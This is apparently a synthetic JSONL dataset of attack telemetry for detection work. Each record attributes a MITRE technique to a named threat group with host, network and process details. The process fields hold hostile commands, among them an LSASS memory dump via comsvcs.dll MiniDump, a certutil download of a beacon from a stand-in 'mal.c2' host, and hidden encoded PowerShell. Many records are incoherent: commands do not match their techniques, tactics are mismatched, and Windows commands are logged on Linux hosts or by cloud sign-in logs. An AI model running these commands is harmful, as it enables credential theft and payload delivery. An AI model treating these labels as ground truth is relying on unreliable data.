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{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250601T181058000Z_0019201","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.244.177.242","name":"IAM-ROLE-6GVJ7S75TI","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19201Volt TyphoonT1003.001"},"network":{"domain":"github.com","dst_ip":"1.172.152.224","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 659 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-08T10:45:28.000Z","user":{"name":"arn:aws:iam::pkxp3ff18eq7","sid":"S-1-5-21-567429100-335123910-8508"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20260414T005917000Z_0019203","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.139.167.69","name":"IAM-ROLE-KE6BUA8JYS","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19203Lapsus$T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.20.122.134","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2973 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-08-14T08:30:05.000Z","user":{"name":"CORP\\8vzts2l9nfoj","sid":"S-1-5-21-691454842-794203616-6479"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20260730T030001000Z_0019205","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.104.145.87","name":"IAM-ROLE-9ES6UBA0NV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19205Scattered SpiderT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.83.74.133","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-09-07T05:47:20.000Z","user":{"name":"azuread\\meqikjqok2b4","sid":"S-1-5-21-801278092-269549286-5464"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20251209T131339000Z_0019207","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.2.129.254","name":"AZURE-VM-H007ZI95JR","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19207Mustang PandaT1531"},"network":{"domain":"github.com","dst_ip":"1.105.173.193","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2527 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-17T10:34:28.000Z","user":{"name":"arn:aws:iam::gfc6r7x2hc72","sid":"S-1-5-21-331640878-162058660-4630"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Execution","Credential Access"],"technique_id":"T1531"},"event_id":"evt_apt41_20260425T181424000Z_0019209","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.34.172.86","name":"IAM-ROLE-N435K4EMP1","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19209APT41T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.147.233.105","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3266 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-01-03T12:27:21.000Z","user":{"name":"arn:aws:iam::6vjl39lmkmw4","sid":"S-1-5-21-815441171-924830800-6399"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20251031T113837000Z_0019211","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.127.219.158","name":"AZURE-VM-4WXICNS6V7","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19211Lapsus$T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.161.196.239","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-07T03:07:17.000Z","user":{"name":"i-77jymp3k7e8u","sid":"S-1-5-21-503631870-968118264-3946"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250423T043242000Z_0019213","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.124.238.13","name":"EC2-INST-L9Q3HP5PA1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19213Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.97.130.4","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1074 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-12-16T00:48:24.000Z","user":{"name":"CORP\\4s3utrw3zt1r","sid":"S-1-5-21-820099655-469860397-1085"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Reconnaissance","Collection","Credential Access"],"technique_id":"T1570"},"event_id":"evt_apt29_20251214T011138000Z_0019215","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.122.177.119","name":"EC2-INST-O8V3IXOWHM","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19215APT29T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.181.250.246","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 522 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-21T09:51:20.000Z","user":{"name":"i-jtu3jwfpg6pz","sid":"S-1-5-21-449468507-177349664-1712"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Command and Control"],"technique_id":"T1531"},"event_id":"evt_unc4841_20260213T173755000Z_0019217","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.253.212.23","name":"APP-WEB-HMNN3R4L6H","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19217UNC4841T1531"},"network":{"domain":"github.com","dst_ip":"1.156.95.130","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-08-28T19:51:34.000Z","user":{"name":"CORP\\cm2fd4ictv24","sid":"S-1-5-21-781182903-993142747-3196"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20250127T163839000Z_0019219","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.45.122.48","name":"DB-ORACLE-U7M53BTTU0","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19219Mustang PandaT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.73.76.204","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2335 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-18T01:12:34.000Z","user":{"name":"azuread\\stoflumkb14z","sid":"S-1-5-21-924487846-242139802-1434"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Credential Access","Persistence"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250518T194149000Z_0019221","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.231.87.21","name":"DB-ORACLE-0BJD4V7JJ3","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19221Volt TyphoonT1003.001"},"network":{"domain":"github.com","dst_ip":"1.78.198.204","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 595 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-29T20:20:16.000Z","user":{"name":"svc_gv1gxccn962v","sid":"S-1-5-21-926574139-873023648-2506"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery","Command and Control","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20251220T161902000Z_0019223","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.36.42.102","name":"WIN-FIN-SRV-MAYI86UK3C","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19223Lapsus$T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.55.48.134","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-20T23:52:04.000Z","user":{"name":"CORP\\j9t2kphte3tb","sid":"S-1-5-21-660137972-661601125-1753"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access"],"technique_id":"T1531"},"event_id":"evt_fin7_20260218T055924000Z_0019225","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.91.123.69","name":"EC2-INST-XCLMM3T2YC","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19225FIN7T1531"},"network":{"domain":"github.com","dst_ip":"1.179.31.175","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3427 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-12T09:41:58.000Z","user":{"name":"arn:aws:iam::2wzs3j1ijs2o","sid":"S-1-5-21-203606783-764577629-8243"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20260924T064535000Z_0019227","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.199.30.36","name":"DB-ORACLE-WJDC76R3GY","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19227Volt TyphoonT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.130.76.217","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-06T02:10:41.000Z","user":{"name":"svc_nk11nixhsttc","sid":"S-1-5-21-525756254-762048322-9574"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Lateral Movement","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20251019T202704000Z_0019229","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.201.247.11","name":"AZURE-VM-8JQ0URQZWF","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19229APT41T1484.001"},"network":{"domain":"github.com","dst_ip":"1.184.103.134","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-27T11:35:33.000Z","user":{"name":"i-m7mj1r7o6mth","sid":"S-1-5-21-674977612-729263398-9664"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact"],"technique_id":"T1531"},"event_id":"evt_unc4841_20251218T173925000Z_0019231","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.190.4.163","name":"DB-ORACLE-HNT5PIGMKX","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19231UNC4841T1531"},"network":{"domain":"github.com","dst_ip":"1.150.128.203","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-01T13:00:47.000Z","user":{"name":"i-118ez3uzkebe","sid":"S-1-5-21-512193234-420179032-6095"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Credential Access","Persistence"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20260407T152858000Z_0019233","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.175.80.117","name":"APP-WEB-G0V4285BU1","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19233Mustang PandaT1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.100.160.203","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-25T01:03:23.000Z","user":{"name":"CORP\\i98kewq2cya0","sid":"S-1-5-21-611651848-268836413-8016"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250909T074103000Z_0019235","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.253.97.208","name":"APP-WEB-TS4MI53CYE","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19235UNC4841T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.52.43.52","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-04-05T10:45:35.000Z","user":{"name":"CORP\\jawb1a9p5ywx","sid":"S-1-5-21-540661118-670033591-4796"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250908T195945000Z_0019237","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.66.59.90","name":"APP-WEB-D2O1XU5BXQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19237Mustang PandaT1098.004"},"network":{"domain":"github.com","dst_ip":"1.99.239.149","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-02-11T14:37:08.000Z","user":{"name":"CORP\\mmt3efh276xw","sid":"S-1-5-21-245010076-385347378-9939"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement","Impact"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20260217T023748000Z_0019239","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.65.174.86","name":"EC2-INST-ZJLRT3R7UR","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19239APT29T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.175.154.206","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-06-04T20:50:18.000Z","user":{"name":"i-f4r89lk2benr","sid":"S-1-5-21-509313844-481902505-1208"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20251125T162516000Z_0019241","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.181.55.178","name":"EC2-INST-Q03VHKBZBI","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19241Scattered SpiderT1071.001"},"network":{"domain":"github.com","dst_ip":"1.184.100.207","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1434 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-06-13T20:55:17.000Z","user":{"name":"arn:aws:iam::12mwgsuv1sok","sid":"S-1-5-21-431085457-227655350-2291"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence","Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20251018T034236000Z_0019243","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.158.141.19","name":"WIN-FIN-SRV-3802XCXANX","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19243Lapsus$T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.113.126.171","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3260 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-14T15:10:08.000Z","user":{"name":"svc_xldf0im6yqg2","sid":"S-1-5-21-588303061-739960715-4012"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_fin7_20260307T074458000Z_0019245","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.119.146.77","name":"EC2-INST-WSEFBU4XPL","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19245FIN7T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.156.67.63","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-10-30T06:54:36.000Z","user":{"name":"svc_3upep5swoijc","sid":"S-1-5-21-235475021-448790574-1924"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Initial Access","Credential Access"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260824T093427000Z_0019247","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.21.25.53","name":"WIN-FIN-SRV-0X2279NTZO","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19247Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.73.226.78","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security 